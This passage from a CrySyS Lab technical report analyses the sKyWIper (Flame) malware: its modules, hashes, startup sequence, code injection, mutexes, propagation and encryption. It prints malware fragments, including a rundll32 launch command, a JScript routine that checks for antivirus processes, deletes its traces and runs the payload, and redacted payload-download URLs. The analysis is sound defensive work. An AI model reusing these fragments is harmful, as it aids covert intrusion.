to many versions of a dynamic link library. This component has been previously observed (without raising an alarm) as follows: Country of origin The filename WAVESUP3.DRV was first seen on Dec 5 2007 in Europe by the Webroot community. Since, it has been observed in the following geographical regions: \xe2\x80\xa2 Europe on Dec 5 2007 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 6 \xe2\x80\xa2 The United Arab Emirates on Apr 28 2008 \xe2\x80\xa2 Islamic Republic of Iran on Mar 1 2010 File sizes The following file sizes have been seen: \xe2\x80\xa2 1,153,536 bytes \xe2\x80\xa2 991,232 bytes \xe2\x80\xa2 975,872 bytes 1.3. Build dates The build date PE header information of the malware uses fake date information for its files; hence we cannot precisely identify the target system\xe2\x80\x99s infection time. Nonetheless, the SQLite related part of mssecmgr.ocx contains some build time info (more about the components later): \xe2\x80\x9cUnidentified build, Aug 31 2011 23:15:32 31...........Aug 31 2011 23:15:32\xe2\x80\x9d The following string shows SQLite version information, found in the memory dumps: 2010-01-05 15:30:36 28d0d7710761114a44a1a3a425a6883c661f06e7 NULL It relates to SQLITE_VERSION ""3.6.22"" (part of the source code) Also, there is a reference \xe2\x80\x9c1.2.3\xe2\x80\x9d, and we think that this refers to zlib version number possibly used in SQLite tables. Some tables of the malware contain timestamps, possibly some of these do not relate to actual running times, but instead some dates when the attackers developed or constructed attack flows. An example is audcache.dat that contains timestamps like the ones below. We are not sure about the timestamps\xe2\x80\x99 function and about the table structure. There are other binary strings that might be timestamps, but their values vary too much to be accurate. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 7 5409 Tue Oct 11 23:35:34 2011 5409 Tue Oct 11 23:35:37 2011 5409 Tue Oct 11 23:35:37 2011 5409 Tue Oct 11 23:35:37 2011 \xe2\x80\xa6 ec02 Tue Oct 11 23:59:59 2011 ec02 Tue Oct 11 23:59:59 2011 ec02 Tue Oct 11 23:59:59 2011 ec02 Tue Oct 11 23:59:59 2011 ec02 Wed Oct 12 00:00:03 2011 \xe2\x80\xa6 ec02 Wed Oct 12 10:52:33 2011 ec02 Wed Oct 12 10:52:33 2011 ec02 Wed Oct 12 10:53:04 2011 ec02 Wed Oct 12 11:09:32 2011 ec02 Wed Oct 12 11:09:32 2011 ec02 Wed Oct 12 11:21:17 2011 ec02 Wed Oct 12 11:21:17 2011 ec02 Wed Oct 12 11:21:17 2011 ec02 Wed Oct 12 11:21:17 2011 ec02 Wed Oct 12 11:22:04 2011 ec02 Wed Oct 12 11:22:04 2011 Figure 1 \xe2\x80\x93 Timestamps found in audcache.dat 1.4. Comparison to Duqu (Stuxnet) at a glance As our team played a significant role in the discovery and analysis of Duqu, another recently discovered info-stealer malware used in targeted attacks, we briefly compare sKyWIper to Duqu (and Stuxnet) in Table 1. Note that this is a high-level, simplified comparison. As it can be seen from the comparison, sKyWIper and Duqu (Stuxnet) have many differences, and it seems plausible that sKyWIper was not made by the same developer team as that of Duqu/Stuxnet/~D. However, we cannot exclude the possibility that the attackers hired multiple independent development teams for the same purpose, and sKyWIper and Duqu are two independent implementations developed for the same requirement specifications. This may be an approach to increase the robustness of an operation, which can persist even if one of the two (or more?) implementations is uncovered. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 8 Feature Duqu, Stuxnet, ~D sKyWIper Modular malware \xef\xbf\xbd \xef\xbf\xbd Kernel driver based rootkit \xef\xbf\xbd fltmgr usage Valid digital signature on driver Realtek, JMicron, C-media Not found Injection based on A/V list \xef\xbf\xbd Different Imports based on checksum \xef\xbf\xbd Not seen 3 Config files, all encrypted, etc. \xef\xbf\xbd Totally diferrent Keylogger module \xef\xbf\xbd (Duqu) \xef\xbf\xbd PLC functionality \xef\xbf\xbd (Stuxnet) Not found (yet) Infection through local shares \xef\xbf\xbd (Stuxnet) \xef\xbf\xbd Very likely Exploits \xef\xbf\xbd \xef\xbf\xbd Some from Stuxnet! 0-day exploits \xef\xbf\xbd Not yet found DLL injection to system processes \xef\xbf\xbd \xef\xbf\xbd (but different) DLL with modules as resources \xef\xbf\xbd \xef\xbf\xbd RPC communication \xef\xbf\xbd ? RPC control in LAN \xef\xbf\xbd ? RPC Based C&C \xef\xbf\xbd ? Port 80/443, TLS based C&C \xef\xbf\xbd SSL+SSH found Special \xe2\x80\x9cmagic\xe2\x80\x9d keys, e.g. 790522, AE \xef\xbf\xbd Only 0xAE is similar Virtual file based access to modules \xef\xbf\xbd Not seen Usage of LZO lib Mod. LZO No LZO: Zlib, PPMd, bzip2 Visual C++ payload \xef\xbf\xbd \xef\xbf\xbd UPX compressed payload, \xef\xbf\xbd some Careful error handling \xef\xbf\xbd ? Deactivation timer \xef\xbf\xbd Self-kill logic inside Initial Delay ? Some Different from Duqu Configurable starting in safe mode/dbg \xef\xbf\xbd Not like Stuxnet Table 1 \xe2\x80\x93 Comparing sKyWIper to Duqu and Stuxnet at a first glance Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 9 2. Main components 2.1. Modules We present an overview of the modules encountered during the analysis of sKyWIper. Figure 2 shows some files related to the malware, grouped by type, with some labels indicating our current knowledge about how some of these files are created and encoded (encrypted or compressed). Figure 2 \xe2\x80\x93 Files related to the malware Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 10 The malware contains the following modules: Related OCX files: mssecmgr.ocx (6 M) Main module -- resource 146 (2.5 M) Compressed file with some zlib-like compression advnetcfg.ocx (0.6 M) Injected part, possibly info stealer (screen shots and alike) msglu32.ocx (1.6 M) Created by main module nteps32.ocx (0.8 M) Created by main module soapr32.ocx (0.2 M) Can be found in resource 146, possibly network based propagation module The main module of the malware is mssegmgr.ocx, which is 6 MByte long. It is loaded at startup, and later copied to wavesup3.drv. The main module also creates other OCX modules as shown in the above list. Related files in the Windows/Temp folder: To691.tmp (1.5 M) Initial settings data file Related files in the Windows/System32 folder: ccalc32.sys Configuration settings table, fully encrypted. It is generated by the malware installer process, and stored in uncompressed Resource 146 of mssecmgr.sys at position 0x00001E7118. It is encrypted by RC4 (128). boot32drv.sys (~1 K) Desktop window related data, encrypted by XOR with 0xFF Temporary files created by the malware: ~DEB93D.tmp Encrypted file containing SQLite database of nmb lookups. Written by services.exe. ~HLV084.tmp Compressed parts contain info on running processes. Written by winlogon.exe. ~HLV294.tmp Purpose unknown. This and 4-5 similar files often appear on infected systems. ~KWI<> Compressed parts contain info on running processes. Written by winlogon.exe. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 11 ~rf.tmp Contains full file listing of the infected computer in SQLite 3 database format. Encrypted with algorithm E1 (see encryption algorithms later). Related DAT files: dstrlog.dat CLAN DB for storing attack and propagation methods. lmcache.dat Information on target computer. mscrypt.dat Code, data, and configuration on attacks, e.g. JIMMY, MUNCH. ntcache.dat Information on target computer. rccache.dat ssitable DAT files created from dllrun32 startup (with file size and time of creation): audcache Possibly pre-created attack database (1572896 May XX 10:32) audfilter.dat (0 May XX 10:32) dstrlog.dat CLAN DB of attacks (86016 May XX 10:32) lmcache.dat Information on target computer (SFS) (460800 May XX 10:32) ntcache.dat Information on target computer (SFS) (4454400 May XX 10:32) wpgfilter.dat (6163261 May XX 10:32) 2.2. File listing and hashes Here, we provide the hashes for the main components of sKyWIper. Later in Section 7.3, we provide a full list of suspected filenames used by the malware (whitelisted). bb5441af1e1741fca600e9c433cb1550 *advnetcfg.ocx d53b39fb50841ff163f6e9cfd8b52c2e *msglu32.ocx bdc9e04388bda8527b398a8c34667e18 *mssecmgr.ocx c9e00c9d94d1a790d5923b050b0bd741 *nteps32.ocx 296e04abb00ea5f18ba021c34e486746 *soapr32.ocx 5ad73d2e4e33bb84155ee4b35fbefc2b *ccalc32.sys dcf8dab7e0fc7a3eaf6368e05b3505c5 *mscrypt.dat 06a84ad28bbc9365eb9e08c697555154 *00004069.ex_ ec992e35e794947a17804451f2a8857e *00004784.dl_ 296e04abb00ea5f18ba021c34e486746 *00005729.dl_ b604c68cd46f8839979da49bb2818c36 *00006411.dl_ Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 12 c81d037b723adc43e3ee17b1eee9d6cc *boot32drv.sys (not constant but possible match) Figure 3 \xe2\x80\x93 MD5 hashes of the malware\xe2\x80\x99s components 60d5dbddae21ecb4cfb601a2586dae776ca973ef *advnetcfg.ocx 3a9ac7cd49e10a922abce365f88a6f894f7f1e9e *msglu32.ocx a592d49ff32fe130591ecfde006ffa4fb34140d5 *mssecmgr.ocx 7105b17d07fd5b30d5386862a3b9cc1ff53a2398 *nteps32.ocx 5fdd7f613db43a5b0dbec8583d30ea7064983106 *soapr32.ocx faaef4933e5f738e2abaff3089d36801dd871e89 *ccalc32.sys 8b591dd7cd44d8abae7024ca2cc26034457dd50e *mscrypt.dat 25fc20eedd7bfca26cf5fad1fade13b05c9a2d20 *00004069.ex_ e608a6d9f0ab379e62119656e30eef12542f2263 *00004784.dl_ 5fdd7f613db43a5b0dbec8583d30ea7064983106 *00005729.dl_ 7a1351c084a556bdceaf221a43cb69579ca7b9bb *00006411.dl_ d4b21620d68fdc44caa20362a417b251ff833761 *boot32drv.sys Figure 4 \xe2\x80\x93 SHA-1 hashes of the malware\xe2\x80\x99s components Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 13 3. Activation and propagation 3.1. Startup sequence The malware can be started using two different methods: 1. Set msgsecmgr.ocx in the registry (see below at registry parts) 2. Run the malware from rundll32 using the command as follows: start /wait rundll32.exe c:\\windows\\system32\\mssecmgr.ocx,DDEnumCallback At startup, mssecmgr.ocx is loaded as LSA Authentication Package. About 2 minutes later advnetcfg.ocx is loaded by services.exe. It is repeated every 2 to 3 minutes 3 times in total. About 2 minutes later services.exe loads nteps32.ocx from mssecmgr.ocx, and then winlogon.exe also loads nteps32.ocx. This file is loaded several times. In the meantime, explorer.exe starts 5 iexplore processes that subsequently create wpgfilter.dat. Again 2 minutes later ccalc32.sys is written by services.exe, and in 1 minute winlogon.exe loads it. Next, mssecmgr.ocx is copied to wavsup3.drv. Then, boot32drv.sys is loaded by services.exe. This sequence of events is illustrated in Figure 5 below, while Figure 6 shows another representation with exact timestamps. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 14 Figure 5 \xe2\x80\x93 Startup sequence Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 15 Nteps32 loading 23:36:37 services winlogon 2. ccalc32 written 23:38:37 load 23:39:37 w r System (cache) w Advnetcfg 23:36:17 23:38:32 23:39:17 r rundll32 mssecmgr loading 23:34:35 r explorer iexplore loading 23:36:21 3240 (parent 1644) 23:36:41 3520 (parent 1644) 23:37:00.08 3632 (parent 1644) 23:37:19 3752 23:37:40 3876 23:37:59 3968 wpgfilter loading 23:37:02 Boot32cfg w:23:38:35 w Figure 6 \xe2\x80\x93 Startup procedure with timestamps 3.2. Bootup experiments to gather timing information We performed some experiment to determine the order of module loadings and activities. Trial 1 ccalc32.sys has a last change and last access time at the first start - difference ~50 seconds. In normal LSA startup without mscrypt installed, ccalc was not created (no real CC traffic either). Question: Is ccalc32 created by mssecmgr+advnet+?? during startup if ran from rundll? Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 16 Trial 2 Nteps, soapr, to691 are removed to test if these files are needed for the malware to start. Windows update traffic starts after 1:40 min of starting rundll for startup. At iexplore exit ccalc32.sys immediately appeared. ~HLV files appear about 1:20 min after the appearance of ccalc32.sys. The exact timestamp was 23:45:00 (local time), the sharp seconds value (:00) seems suspicious. Results: nteps, soapr, to691 are not needed for startup Trial 4 Starting with Rundll32 at 23:49:20 23:51:06 windowsupdate traffic begins 23:52:48 iexplore quits, about 3 seconds later ccalc appears 23:54:25 ~HVL files found in windows/temp msglu32.ocx exists, creation time is 2004, change time is current local time Trial 5 Removing nteps, soapr, to691, msglu to be sure that msglu is indeed created during startup. Results: Malware is still running, msglu32 is created just at the same time as ~HLV files begin to be created. Order of events: 1. iexplore + windowsupdate traffic 2. traffic stops, ccalc32 created, some 1:20 min delay 3. ~HLV files begin to appear and msglu is deployed Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 17 3.3. Injections There are multiple injections of code during startup. Only advnetcfg32 is probably injected 3 times. We have no detailed information why code is injected into multiple processes (including winlogon.exe, services.exe, explorer.exe). 0 fltmgr.sys fltmgr.sys + 0x1888 0xf83f0888 C:\\WINDOWS\\System32\\Drivers\\fltmgr.sys 1 fltmgr.sys fltmgr.sys + 0x31a7 0xf83f21a7 C:\\WINDOWS\\System32\\Drivers\\fltmgr.sys 2 fltmgr.sys fltmgr.sys + 0xfc7a 0xf83fec7a C:\\WINDOWS\\System32\\Drivers\\fltmgr.sys 3 ntkrnlpa.exe ntkrnlpa.exe + 0xac124 0x80583124 C:\\WINDOWS\\system32\\ntkrnlpa.exe 4 ntkrnlpa.exe ntkrnlpa.exe + 0xe8488 0x805bf488 C:\\WINDOWS\\system32\\ntkrnlpa.exe 5 ntkrnlpa.exe ntkrnlpa.exe + 0xe4a14 0x805bba14 C:\\WINDOWS\\system32\\ntkrnlpa.exe 6 ntkrnlpa.exe ntkrnlpa.exe + 0x9ffeb 0x80576feb C:\\WINDOWS\\system32\\ntkrnlpa.exe 7 ntkrnlpa.exe ntkrnlpa.exe + 0x6a67c 0x8054167c C:\\WINDOWS\\system32\\ntkrnlpa.exe 8 0x1f2a333 0x1f2a333 9 0x1f1ed9c 0x1f1ed9c 10 0x1f1128b 0x1f1128b 11 0x1f1c900 0x1f1c900 Figure 7 \xe2\x80\x93 Winlogon.exe with injected code working with ccalc32.sys \xe2\x80\x93 procmon In case of Duqu, the authors used ZwCreateSection() and ZwMapViewOfSection() to copy code into running processes, while other methods use LoadLibrary() and LoadLibraryEx() to load a library into a code. These techniques can easily be detected as the inserted DLLs appear in the PEB\xe2\x80\x99s InLoadOrderModuleList. In case of sKyWIper, the code injection mechanism is stealthier such that the presence of the code injection cannot be determined by conventional methods such as listing the modules of the corresponding system processes (winlogon, services, explorer). The only trace we found at the first sight is that certain memory regions are mapped with the suspicious READ, WRITE and EXECUTE protection flags, and they can only be grasped via the Virtual Address Descriptor (VAD) kernel data structure. As these regions must have been allocated dynamically by means of VirtualAllocEx() or WriteProcessMemory(), they have the type of Vad Short. Thus, the combination of RWE flags and type VadS for a given memory region in a system process allowed us to identify the code injection. Figure 8 shows the malicious code injections we found with Volatility. Process: winlogon.exe Pid: 676 Address: 0xab0000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x00ab0000 10 00 00 00 4a 89 6f d1 aa 04 9b 3c c8 51 72 bc ....J.o....<.Qr. 0x00ab0000 1f c4 f1 56 00 00 00 00 00 00 00 00 00 00 00 00 ...V............ 0x00ab0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x00ab0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 18 Process: winlogon.exe Pid: 676 Address: 0xac0000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x00ac0000 10 00 00 00 4a 89 6f d1 aa 04 9b 3c c8 51 72 bc ....J.o....<.Qr. 0x00ac0000 1f c4 f1 56 00 00 00 00 00 00 00 00 00 00 00 00 ...V............ 0x00ac0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x00ac0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ Process: winlogon.exe Pid: 676 Address: 0xb10000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x00b10000 10 00 00 00 4a 89 6f d1 aa 04 9b 3c c8 51 72 bc ....J.o....<.Qr. 0x00b10000 1f c4 f1 56 00 00 00 00 00 00 00 00 00 00 00 00 ...V............ 0x00b10000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x00b10000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ Process: winlogon.exe Pid: 676 Address: 0xb20000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x00b20000 10 00 00 00 4a 89 6f d1 aa 04 9b 3c c8 51 72 bc ....J.o....<.Qr. 0x00b20000 1f c4 f1 56 00 00 00 00 00 00 00 00 00 00 00 00 ...V............ 0x00b20000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x00b20000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ Process: winlogon.exe Pid: 676 Address: 0x10f0000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x010f0000 10 00 00 00 4a 89 6f d1 aa 04 9b 3c c8 51 72 bc ....J.o....<.Qr. 0x010f0000 1f c4 f1 56 00 00 00 00 00 00 00 00 00 00 00 00 ...V............ 0x010f0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x010f0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ Process: winlogon.exe Pid: 676 Address: 0x1220000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x01220000 10 00 00 00 4a 89 6f d1 aa 04 9b 3c c8 51 72 bc ....J.o....<.Qr. 0x01220000 1f c4 f1 56 00 00 00 00 00 00 00 00 00 00 00 00 ...V............ 0x01220000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x01220000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ Process: winlogon.exe Pid: 676 Address: 0x1490000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x01490000 ba ba 0d f0 00 00 48 01 30 25 80 7c b7 24 80 7c ......H.0%.|.$.| 0x01490000 b3 1d 90 7c 55 8b ec 51 53 56 57 33 ff 89 7d fc ...|U..QSVW3..}. 0x01490000 e8 00 00 00 00 58 89 45 fc 8b 45 fc 6a 64 59 48 .....X.E..E.jdYH 0x01490000 49 89 45 fc 74 5b 81 38 ba ba 0d f0 75 f1 8d 70 I.E.t[.8....u..p Process: winlogon.exe Pid: 676 Address: 0x3c8a0000 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 19 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 4, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x3c8a0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x3c8a0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x3c8a0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x3c8a0000 00 00 00 00 27 00 27 00 01 00 00 00 00 00 00 00 ....'.'......... Process: services.exe Pid: 720 Address: 0x950000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x00950000 ba ba 0d f0 00 00 94 00 30 25 80 7c b7 24 80 7c ........0%.|.$.| 0x00950000 b3 1d 90 7c 55 8b ec 51 53 56 57 33 ff 89 7d fc ...|U..QSVW3..}. 0x00950000 e8 00 00 00 00 58 89 45 fc 8b 45 fc 6a 64 59 48 .....X.E..E.jdYH 0x00950000 49 89 45 fc 74 5b 81 38 ba ba 0d f0 75 f1 8d 70 I.E.t[.8....u..p Process: explorer.exe Pid: 1616 Address: 0x1400000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x01400000 ba ba 0d f0 00 00 e8 00 30 25 80 7c b7 24 80 7c ........0%.|.$.| 0x01400000 b3 1d 90 7c 55 8b ec 51 53 56 57 33 ff 89 7d fc ...|U..QSVW3..}. 0x01400000 e8 00 00 00 00 58 89 45 fc 8b 45 fc 6a 64 59 48 .....X.E..E.jdYH 0x01400000 49 89 45 fc 74 5b 81 38 ba ba 0d f0 75 f1 8d 70 I.E.t[.8....u..p Process: explorer.exe Pid: 1616 Address: 0x1b50000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x01b50000 67 32 cd ba 2e 00 4d 00 53 00 42 00 54 00 53 00 g2....M.S.B.T.S. 0x01b50000 00 00 43 02 50 03 f8 01 4b 6c 43 02 04 00 01 00 ..C.P...KlC..... 0x01b50000 03 00 00 00 90 fa fc 00 2c fb fc 00 00 00 da 00 ........,....... 0x01b50000 00 e9 90 7c 40 00 91 7c ff ff ff ff 3d 00 91 7c ...|@..|....=..| Process: explorer.exe Pid: 1616 Address: 0x4540000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x04540000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x04540000 00 00 54 04 00 00 00 00 00 00 00 00 00 00 00 00 ..T............. 0x04540000 10 00 54 04 00 00 00 00 00 00 00 00 00 00 00 00 ..T............. 0x04540000 20 00 54 04 00 00 00 00 00 00 00 00 00 00 00 00 ..T............. Figure 8 \xe2\x80\x93 The presence of code injection and hooks (Volatility) By examining the injected regions in more details, we found that the inserted code belongs to shell32.dll. This can be verified by means of vmmap as shown in Figure 9. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 20 Figure 9 \xe2\x80\x93 The presence of code injection (vmmap) 3.4. Hooks By checking an infected machine with the GMER rootkit revealer, we can see that the infected explorer.exe hooked the SHGetSpecialFolderPathW() library call in the shell32.dll module (that is supposedly the result of a code injection). Figure 10 \xe2\x80\x93 Hooking shell32 dll\xe2\x80\x99s SHGetSpecialFolderPathW function in explorer.exe Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 21 3.5. Mutexes Similarly to other malicious codes, sKyWIper uses mutexes to make sure that only one instance is running from it. Mutexes are created either for injected system processes (winlogon.exe, services.exe, explorer.exe) and proprietary files. In the former case, the following naming convention is used: TH_POOL_SHD_PQOISNG_#PID#SYNCMTX, where the #PID# variable refers to the PID of the system process the mutex belongs to. Furthermore, there are other mutexes that belongs to files created by the malcode. These are the following. c__program_files_common_files_microsoft shared_msaudio_wpgfilter.dat c__program files_common files_microsoft shared_msaudio_audcache To reveal all the mutexes one can traverse Windows\xe2\x80\x99 _KMUTANT data structure, however, it is difficult to grasp the malicious ones. 3.6. nteps32 exports Figure 11 \xe2\x80\x93 nteps32 [loaded many times] exported functions \xe2\x80\x93 lot of functionality Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 22 It would be useful to describe here the exact meaning of the abbreviated functionality (SHR, ABH, BHD, DLV, SMLData, VBinfo, OFR, PF, PGHDict) of this interesting library, however, currently we do not have enough information on it. CreatePGHDict might be associated with some Bluetooth related activities. EnableSHR might be connected to ~DEB93D creation which contains samba nmb name resolution traffic log. 3.7. Installation and propagation method There are multiple ways for the malware to propagate. One method we are aware of is related to windows update and file downloading by some modules using SSL and some proprietary text based protocol. We also have clear indications that Stuxnet\xe2\x80\x99s print spooler exploit (MS10-061) and lnk exploit (MS10-046) is used within sKyWIper as well: var objFileSystem = new ActiveXObject(""Scripting.FileSystemObject"");var s = GetObject(""winmgmts:root\\\\cimv2"");var oProcs = s.ExecQuery(""SELECT * FROM Win32_Process WHERE name='outpost.exe' or name='aupdrun.exe' or name='op_mon.exe' or name='avp.exe'"");s.Delete(""__EventFilter.Name='FilterForClassCreation'"");s.Delete("" ActiveScriptEventConsumer.Name='ActiveScriptForSvc'"");s.Delete(""MyTestClass"");s.Del ete(""__Win32Provider.Name='ActiveScriptEventConsumer'"");var f = objFileSystem.GetFile(""wbem\\\\mof\\\\good\\\\svchostevt.mof"");f.Delete(true); f =objFileSystem.GetFile(""testpage"");f.Delete(true);if (!oProcs.Count) { s1 = new ActiveXObject(""Wscript.Shell"");s1.Run(""%SYSTEMROOT%\\\\system32\\\\rundll32.exe msdclr64.ocx,DDEnumCallback"");while (true) { var oProcs = s.ExecQuery(""SELECT * FROM Win32_Process WHERE name='rundll32.exe'""); if (!oProcs.Count) break; } var f = objFileSystem.GetFile(""msdclr64.ocx"");f.Delete(true);} else { var f = objFileSystem.GetFile(""msdclr64.ocx""); f.Delete(true);} where msdclr64.ocx refers to the main module Figure 12 \xe2\x80\x93 Printer problem related routines in the malware URL: http:///view.php?mp=1&jz=1627XXXXXX&fd=1463XXXXXX& am=55XXXXXXX55X&ef=962DXXX7EC84XXXXEC84&pr=1&ec=0&ov=66664XXXXX6641XXXXX64174&pl=gs pndXXXXXX|spnZXXX|nyXXX|0nXXX|TWvXXXX|nGcXXX\xe2\x80\xa6 some 30-50 tags more XXX are deliberately deleted Figure 13 \xe2\x80\x93 URL used to download mssecmgr.sys by some installation part Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 23 Figure 13 shows the URL used to download the main module by some routine in the installation part of the malware. The routine downloads the file mssecmgr.ocx and some header: B5 A0 44 3F 67 EA EA EA E5 B2 EA EA. Trying to decrypt the header with algorithm E1 (see encryption algorithms later in this report) and considering 0xEA => 0x00, the result is : 0000000000: 20 E1 D7 50 0A 00 00 00 \xe2\x94\x82 C8 0F 00 00 \xc3\xa1\xc3\x97P\xe2\x97\x99 \xc4\x8c\xe2\x98\xbc Further information shows that this is related to the windows update mechanism and the MUNCH attack (see later). Numbers are partially removed or overwritten with X for privacy. (""http:///view.php?ac=1&jz=16X71X..."",""""); CreateSection(""$windir\\softwaredistribution\\selfupdate\\default\\wuauinfo.ocx""); CreateSection(""$windir\\softwaredistribution\\selfupdate\\default\\wuauinfo.ocx"");' Another sample (numbers are removed or modified) is the following: connect(10.55.55.55,80,6); UrlDetect(""http://download.windowsupdate.com/v9/windowsupdate/redir/muv4wuredir.cab ?1"",""""); The user agent during this communications is set to \xe2\x80\x9cMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.2150)\xe2\x80\x9d. This cannot be found by a google search; hence, it is possibly used by the malware for identification purposes. For the same reason, it can possibly be used as a NIDS signature. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 24 4. Description of components Now we present our initial analysis of the files used in sKyWIper. Note that given the lack of resources and time, our findings are preliminary. The main goal is to highlight the structure of the malware modules and the techniques used by the authors (e.g., for encryption); and to pave the way for a thorough investigation. 4.1. Encryption algorithms At the time of this writing, we identified five encryption algorithms used in the malware, we refer to them as E1-E5. E1 is used in DAT files. For E1, we managed to produce a full substitution table as presented in Figure 14 below. We could identify the encryption algorithms E2-E5 shown in subsequent figures, but we do not have a full understanding of where they are used in sKyWIper and if they are related to known encryption methods. 0 234 1 130 2 99 3 174 4 163 5 140 6 102 7 73 8 243 9 1 10 103 11 6 12 18 13 199 14 182 15 178 16 7 17 239 18 28 19 193 20 117 21 253 22 23 23 62 24 224 25 254 26 61 27 202 28 30 29 221 30 26 31 149 32 181 33 192 34 183 35 248 36 157 37 31 38 226 39 47 40 145 41 67 42 111 43 191 44 175 45 159 46 250 47 166 48 205 49 95 50 81 51 96 52 101 53 143 54 255 55 249 56 187 57 153 58 77 59 89 60 241 61 105 62 116 63 208 64 46 65 240 66 108 67 42 68 196 69 179 70 127 71 176 72 36 73 128 74 113 75 10 76 48 77 150 78 118 79 106 80 63 81 122 82 137 83 33 84 151 85 207 86 55 87 242 88 223 89 52 90 190 91 59 92 20 93 11 94 238 95 16 96 4 97 17 98 78 99 70 100 134 101 12 102 87 103 71 104 162 105 230 106 225 107 79 108 169 109 206 110 198 111 218 112 125 113 43 114 83 115 216 116 40 117 75 118 123 119 37 120 222 121 236 122 29 123 156 124 164 125 139 126 110 127 85 128 142 129 57 130 93 131 74 132 56 133 168 134 53 135 246 136 19 137 27 138 251 139 50 140 131 141 120 142 90 143 97 144 154 145 136 146 80 147 35 148 184 149 64 150 252 151 39 152 247 153 66 154 104 155 203 156 84 157 86 158 9 159 186 160 49 161 138 162 212 163 24 164 213 165 91 166 228 167 172 168 2 169 185 170 129 171 170 172 44 173 58 174 0 175 167 176 209 177 195 178 161 179 112 180 244 181 155 182 119 183 197 184 201 185 158 186 121 187 109 188 15 189 200 190 173 191 76 192 60 193 92 194 65 195 133 196 88 197 219 198 141 199 98 200 229 201 144 202 215 203 14 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 25 204 204 205 3 206 171 207 147 208 21 209 72 210 232 211 8 212 41 213 188 214 124 215 68 216 146 217 126 218 210 219 165 220 235 221 180 222 217 223 54 224 38 225 160 226 34 227 100 228 227 229 231 230 177 231 51 232 194 233 115 234 135 235 25 236 69 237 211 238 5 239 245 240 45 241 114 242 94 243 148 244 233 245 237 246 152 247 220 248 214 249 22 250 189 251 32 252 107 253 132 254 82 255 13 Figure 14 \xe2\x80\x93 Encryption E1 \xe2\x80\x93 Substitution table. Left is cleartext, right is ciphertext. Used for DAT files. 4091.dll: unsigned int __cdecl encryptor_sub_4025C0(int a1) { return (a1 + 11) * (a1 + 17) ^ (((unsigned 